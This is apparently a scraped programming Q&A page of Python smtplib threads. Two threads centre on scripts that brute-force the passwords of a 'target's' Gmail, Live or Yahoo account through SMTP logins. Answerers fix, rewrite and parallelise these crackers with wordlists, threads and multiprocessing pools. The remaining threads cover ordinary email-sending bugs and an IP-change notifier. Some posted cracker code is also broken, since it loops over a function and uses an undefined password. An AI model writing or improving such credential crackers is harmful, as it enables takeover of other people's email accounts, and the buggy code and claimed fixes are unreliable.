I am trying to figure out why isn't my code working. I am trying to improve my python skill by adding some code to another, but when I tried to execute it keeps giving me a syntax error.
import itertools
import smtplib
smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()
user = raw_input("Enter Target's Gmail Address: ")
def print_perms(chars, minlen, maxlen):
for n in range(minlen, maxlen+1):
for perm in itertools.product(chars, repeat=n):
print(''.join(perm))
print_perms("abcdefghijklmnopqrstuvwxyz1234567890", 2, 4)
for symbols in print_perms:
try:
smtpserver.login(user, password)
print "[+] Password Cracked: %s" % symbols
break;
except smtplib.SMTPAuthenticationError:
print "[!] Password Inccorect: %s" % symbols
the output is
File "main.py", line 22
except smtplib.SMTPAuthenticationError:
^
SyntaxError: invalid syntax
I just don't understand, may somebody discover and patch up the problem
Indentation!
except should be at the same indent level as try.
try this script :
import sys
import smtplib
def main():
host = 'smtp.gmail.com'
port = 587
user = raw_input('[+] Enter The Email To Crack : ')
password = raw_input('[+] Enter The Password List : ')
passs = open(password, 'r').readlines()
for passw in passs:
password = passw.rstrip()
smtp(host, port, user, password)
def smtp(host, port, user, password):
try:
server = smtplib.SMTP(host, port)
server.ehlo()
server.starttls()
server.login(user, password)
print "[+] Password Found Succesfully : " + password
sys.exit(1)
except smtplib.SMTPAuthenticationError:
print "[-] Password Incorrect : " + password
pass
You didn't intended the except according the rule. This is after fixing that. For more about try...except use see here.
import itertools
import smtplib
smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()
user = raw_input("Enter Target's Gmail Address: ")
def print_perms(chars, minlen, maxlen):
for n in range(minlen, maxlen+1):
for perm in itertools.product(chars, repeat=n):
print(''.join(perm))
print_perms("abcdefghijklmnopqrstuvwxyz1234567890", 2, 4)
for symbols in print_perms:
try:
smtpserver.login(user, password)
print "[+] Password Cracked: %s" % symbols
break;
except smtplib.SMTPAuthenticationError:
print "[!] Password Inccorect: %s" % symbols
This worked for me:
import itertools
import smtplib
smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()
user = input("Enter Target's Gmail Address: ")
def print_perms(chars, minlen, maxlen):
for n in range(minlen, maxlen+1):
for perm in itertools.product(chars, repeat=n):
print(''.join(perm))
print_perms("abcdefghijklmnopqrstuvwxyz1234567890", 2, 4)
for symbols in print_perms:
try:
smtpserver.login(user, password)
print ("[+] Password Cracked: %s") % symbols
break;
except smtplib.SMTPAuthenticationError:
print ("[!] Password Inccorect: %s") % symbols
Related
I have created this piece of code as a test run to send an email over python:
import smtplib
import random
import math
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
ADMIN_EMAIL = email
ADMIN_PASS = password
def generate_ver_code():
digs = "0123456789"
code = ""
for i in range(0, 6):
code += digs[math.floor(random.random() * 10)]
return code
def signup(forename, surname, email, occupation, dob, pass1, pass2, pass_match):
ran_num = str(random.randint(0, 9999))
if len(ran_num) >= 4:
if len(ran_num) == 1:
ran_num = "000" + str(ran_num)
elif len(ran_num) == 2:
ran_num = "00" + str(ran_num)
elif len(ran_num) == 3:
ran_num = "0" + str(ran_num)
elif len(ran_num) == 4:
ver_code = str(ran_num)
username = ran_num + forename[:3] + surname[:3] + dob[:2]
if pass1 == pass2:
passw = pass1
pass_match = True
else:
pass_match = False
s = smtplib.SMTP('smtp.gmail.com', 5354)
#home port = 5354
#school port =
s.starttls()
s.login(ADMIN_EMAIL, ADMIN_PASS)
msg = MIMEMultipart()
message = message_template.substitute(PERSON_NAME=forename)
msg['From']=ADMIN_EMAIL
msg['To']=email
msg['Subject']="Verify account: FAKtory Reset"
msg.attach(MIMEText(message, '\nBefore you can continue to use your account please verify yur account and check if the credentials are correct:\nUsername: '+ username + '\nName: ' + forename + ' ' + surname + '\nOccupation: ' + occupation + '\nDoB: ' + dob + '\nPassword: ' + pass1 + '\nVerification Code: ' + ver_code + '\nIf any of the credentials are wrong please enter them again on our app.\nThank you,\nRegards,\nFaizan Ali Khan\nAdmin'))
s.send_message(msg)
del msg
pass_match = False
forename = str(input("Enter your forename: "))
surname = str(input("Enter your surname: "))
email = str(input("Enter your email: "))
occupation = str(input("Enter your occupation: "))
dob = str(input("Enter your date of birth (DD/MM/YYYY): "))
pass1 = str(input("Enter your password: "))
pass2 = str(input("Enter your password again: "))
print(signup(forename, surname, email, occupation, dob, pass1, pass2, pass_match))
Now whenever I run the code it goes fine for the inputs but when it comes to sending the email I get this error:
TimeoutError: [WinError 10060] A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond
How would you fix this error? I tried changing the port but still it doesn't work.
s = smtplib.SMTP('smtp.gmail.com', 5354)
The issue is this code snippet. According to the official Gmail IMAP Guide the outgoing port is either 465 or 587:
The outgoing SMTP server, smtp.gmail.com, requires TLS. Use port 465, or port 587 if your client begins with plain text before issuing the STARTTLS command.
Is this an valid example from Python's smtplib? How, from this example, would one send email without giving the password?
import smtplib
def prompt(prompt):
return raw_input(prompt).strip()
fromaddr = prompt("From: ")
toaddrs = prompt("To: ").split()
print "Enter message, end with ^D (Unix) or ^Z (Windows):"
# Add the From: and To: headers at the start!
msg = ("From: %s\r\nTo: %s\r\n\r\n"
% (fromaddr, ", ".join(toaddrs)))
while 1:
try:
line = raw_input()
except EOFError:
break
if not line:
break
msg = msg + line
print "Message length is " + repr(len(msg))
server = smtplib.SMTP('localhost')
server.set_debuglevel(1)
server.sendmail(fromaddr, toaddrs, msg)
server.quit()
You can send emails without using a password assuming the server configuration allow that.
I am trying to develop a small python application that allows it's user to send multiple mails through python, I am using gmail, I have allowed Access for less secure apps, it doesn't send.
I have searched stackoverflow for similar problems, but it seemed that most of the used codes are completely different in implementation, even after trying many of hem, they all through exception
import smtplib
from telnetlib import Telnet
def addSenders(message):
num = input("enter number of recievers : ")
num = int (num)
i = 0
emailList = []
while i < num :
nameStr = input("enter name")
mailStr = input("enter e-mail")
emailList.append(mailStr)
if i == 0:
message += nameStr + " <" + mailStr + ">"
print(message)
else:
message += "," + nameStr + " <" + mailStr + ">"
i = i + 1
return emailList, message
sender = 'xxxx#gmail.com'
password = "xxxx"
message = """From: xxxx xxxx <xxxxx#gmail.com>
To: To """
to, message = addSenders(message)
message += """
MIME-Version: 1.0
Content-type: text/html
Subject: Any Subject!
<h1> Good Morning :D <h1>
"""
server = smtplib.SMTP('smtp.gmail.com',587)
server.ehlo()
server.starttls()
server.login(sender, password)
try:
server.sendmail(sender, [to], message)
print ("Successfully sent email")
except:
print ("Error: unable to send email")
server.quit()
output : Error: unable to send email
I need to share this process by 16 processes. I am purchasing a parallella board for it which has 16 cores and runs at 90gflops.
I am not going to do anything illegal. Just to prove my point that the use of password with 7 digit intgers is way too insecure for a organization to use. Further on I solved it already, I just want a better method.
This is the basic working script for it:
import smtplib
service = raw_input("Enter smtp service : ")
if service == "live":
smtpserver = smtplib.SMTP("smtp.live.com", 587)
elif service == "gmail":
smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
elif service == "yahoo":
smtpserver = smtplib.SMTP("smtp.mail.yahoo.com", 587)
enter = raw_input("Enter text file name : ")
smtpserver.ehlo()
smtpserver.starttls()
user = raw_input("Enter the target's email address: ")
passwfile = open(enter, 'r')
for password in passwfile.readlines():
password = password.strip()
try:
smtpserver.login(user, password)
print "[+] Cracked password----> %s" % password
break;
except smtplib.SMTPAuthenticationError:
smtpserver.ehlo()
smtpserver.starttls()
pass
So far tried:
import smtplib
from threading import Thread
service = raw_input("Enter smtp service : ")
if service == "live":
smtpserver = smtplib.SMTP("smtp.live.com", 587)
elif service == "gmail":
smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
elif service == "yahoo":
smtpserver = smtplib.SMTP("smtp.mail.yahoo.com", 587)
user = raw_input("Enter the target's email address: ")
def tenth():
smtpserver.ehlo()
smtpserver.starttls()
passwfile = open('10.txt', 'r')
for password in passwfile.readlines():
password = password.strip()
try:
smtpserver.login(user, password)
print "[+] Cracked password----> %s" % password
break;
except smtplib.SMTPAuthenticationError:
smtpserver.ehlo()
smtpserver.starttls()
pass
def att():
smtpserver.ehlo()
smtpserver.starttls()
passwfile = open('9.txt', 'r')
for password in passwfile.readlines():
password = password.strip()
try:
smtpserver.login(user, password)
print "[+] Cracked password----> %s" % password
break;
except smtplib.SMTPAuthenticationError:
smtpserver.ehlo()
smtpserver.starttls()
pass
def atc():
smtpserver.ehlo()
smtpserver.starttls()
passwfile = open('8.txt', 'r')
for password in passwfile.readlines():
password = password.strip()
try:
smtpserver.login(user, password)
print "[+] Cracked password----> %s" % password
break;
except smtplib.SMTPAuthenticationError:
smtpserver.ehlo()
smtpserver.starttls()
pass
def atk():
smtpserver.ehlo()
smtpserver.starttls()
passwfile = open('7.txt', 'r')
for password in passwfile.readlines():
password = password.strip()
try:
smtpserver.login(user, password)
print "[+] Cracked password----> %s" % password
break;
except smtplib.SMTPAuthenticationError:
smtpserver.ehlo()
smtpserver.starttls()
pass
def attack():
smtpserver.ehlo()
smtpserver.starttls()
passwfile = open('6.txt', 'r')
for password in passwfile.readlines():
password = password.strip()
try:
smtpserver.login(user, password)
print "[+] Cracked password----> %s" % password
break;
except smtplib.SMTPAuthenticationError:
smtpserver.ehlo()
smtpserver.starttls()
pass
def tr():
smtpserver.ehlo()
smtpserver.starttls()
passwfile = open('5.txt', 'r')
for password in passwfile.readlines():
password = password.strip()
try:
smtpserver.login(user, password)
print "[+] Cracked password----> %s" % password
break;
except smtplib.SMTPAuthenticationError:
smtpserver.ehlo()
smtpserver.starttls()
pass
def br():
smtpserver.ehlo()
smtpserver.starttls()
passwfile = open('4.txt', 'r')
for password in passwfile.readlines():
password = password.strip()
try:
smtpserver.login(user, password)
print "[+] Cracked password----> %s" % password
break;
except smtplib.SMTPAuthenticationError:
smtpserver.ehlo()
smtpserver.starttls()
pass
def bru():
smtpserver.ehlo()
smtpserver.starttls()
passwfile = open('3.txt', 'r')
for password in passwfile.readlines():
password = password.strip()
try:
smtpserver.login(user, password)
print "[+] Cracked password----> %s" % password
break;
except smtplib.SMTPAuthenticationError:
smtpserver.ehlo()
smtpserver.starttls()
pass
def brute():
smtpserver.ehlo()
smtpserver.starttls()
passwfile = open('2.txt', 'r')
for password in passwfile.readlines():
password = password.strip()
try:
smtpserver.login(user, password)
print "[+] Cracked password----> %s" % password
break;
except smtplib.SMTPAuthenticationError:
smtpserver.ehlo()
smtpserver.starttls()
pass
def arrgh():
smtpserver.ehlo()
smtpserver.starttls()
passwfile = open('1.txt', 'r')
for password in passwfile.readlines():
password = password.strip()
try:
smtpserver.login(user, password)
print "[+] Cracked password----> %s" % password
break;
except smtplib.SMTPAuthenticationError:
smtpserver.ehlo()
smtpserver.starttls()
pass
thread1 = Thread(target = arrgh)
thread1.start()
thread2 = Thread(target = brute)
thread2.start()
thread3 = Thread(target = bru)
thread3.start()
thread4 = Thread(target = br)
thread4.start()
thread5 = Thread(target = tr)
thread5.start()
thread6 = Thread(target = att)
thread6.start()
thread7 = Thread(target = atc)
thread7.start()
thread8 = Thread(target = atk)
thread8.start()
thread9 = Thread(target = attack)
thread9.start()
thread10 = Thread(target = tenth)
thread10.start()
What this does is open multiple text files. I want it to be able to open one text file and run multiple processes from that itself.
First of all, if you are not I/O but CPU bound, you should use multiprocessing instead of threading. The later does not use more than one core, it just has several threads of control.
Second, since you are using py2.7, you might want to give pypy a try. It runs repeating python code much faster than standard CPython.
Third, ideally you should be using a pool of workers that each get work items from a queue. This automatically gives you load balancing and other features. In your case, you should create a global pool and have the functions push work to it, i.e. use multiprocessing.Pool and one of its map methods.
You should probably have a setup like this:
import smtplib
import multiprocessing
def test_passwords(passwords):
smtpserver = smtplib.SMTP("totally.privat.server.com", 587)
smtpserver.ehlo()
smtpserver.starttls()
for password in passwords:
password = password.strip()
try:
smtpserver.login(user, password)
print "[+] Cracked password----> %s" % password
break
except smtplib.SMTPAuthenticationError:
smtpserver.ehlo()
smtpserver.starttls()
workers = multiprocessing.Pool()
def try_my_own_passwords(workers):
worker.map_async(test_passwords, open("my_pws.txt").readlines(), 100)
I have SSH running on a machine with ADSL connection. I made this script to send me an email each time the machine has new a IP address.
The machine is not accessible by me. I gave the script to a friend so I cannot perform debugging to figure out what is wrong with this script. I'm using a university connection right now and it has a static ip address. There is no point running the script on it.
So any suggestions how to improve/fix the script. Sometimes I'll receive non valid IP addresses or sometimes the IP address will change but I don't get an email. Should I use another method for this kind of automation?
import urllib
import time
import smtplib
fromaddr = '***#gmail.com'
toaddrs = '***#gmail.com'
ip = ""
username = '****'
password = '****'
f = False
def update():
global ip,f
#print "sleeping 5 seconds"
time.sleep(5)
while not f:
try:
f = urllib.urlopen("http://automation.whatismyip.com/n09230945.asp")
except IOError, e:
print "no internet !"
time.sleep(5)
if not ip and f:
ip = f.read()
print "getting the first ip"
print ip
sendmail(ip)
print "mail sent"
else:
if f:
ip2 = f.read()
#print ip,ip2
if ip != ip2 and ip and ip2:
ip = ip2
print "new ip",ip,"sending mail"
sendmail(ip)
else:
print "ip is the same"
f = False
#print ip
def sendmail(ip):
a = False
while not a:
try:
#just to check if i have internet or not
a = urllib.urlopen("http://automation.whatismyip.com/n09230945.asp")
server = smtplib.SMTP('smtp.gmail.com:587')
server.ehlo()
server.starttls()
server.ehlo()
server.login(username,password)
server.sendmail(fromaddr, toaddrs, ip)
server.quit()
except IOError, e:
print "no internet"
time.sleep(5)
#sendmail(ip)
print "program started"
while(1):
update()
I'd suggest that you might be hitting the server too often and getting blocked... http://forum.whatismyip.com/f14/pace-yourself-t6/
Change your first time.sleep(5) to time.sleep(300).
Thanks for great script! This will definitely work (with echoip.com as urlopen data)
import urllib
import time
import smtplib
fromaddr = '***'
toaddrs = '***'
ip = ""
username = '***'
password = '***'
f = False
def update():
global ip,f
#print "sleeping 5 seconds"
time.sleep(20)
while not f:
try:
f = urllib.urlopen("http://echoip.com")
except IOError as e:
print ("no internet !", e)
time.sleep(5)
if not ip and f:
ip = f.read()
print "getting the first ip"
print ip
sendmail(ip)
print "mail sent"
else:
if f:
ip2 = f.read()
#print ip,ip2
if ip != ip2 and ip and ip2:
ip = ip2
print "new ip",ip,"sending mail"
sendmail(ip)
else:
print "ip is the same"
f = False
#print ip
def sendmail(ip):
a = False
while not a:
try:
#just to check if i have internet or not
a = urllib.urlopen("http://echoip.com")
server = smtplib.SMTP('smtp.gmail.com:587')
server.ehlo()
server.starttls()
server.ehlo()
server.login(username,password)
server.sendmail(fromaddr, toaddrs, ip)
server.quit()
except IOError as e:
print ("no internet", e)
time.sleep(10)
#sendmail(ip)
print "program started"
while(1):
update()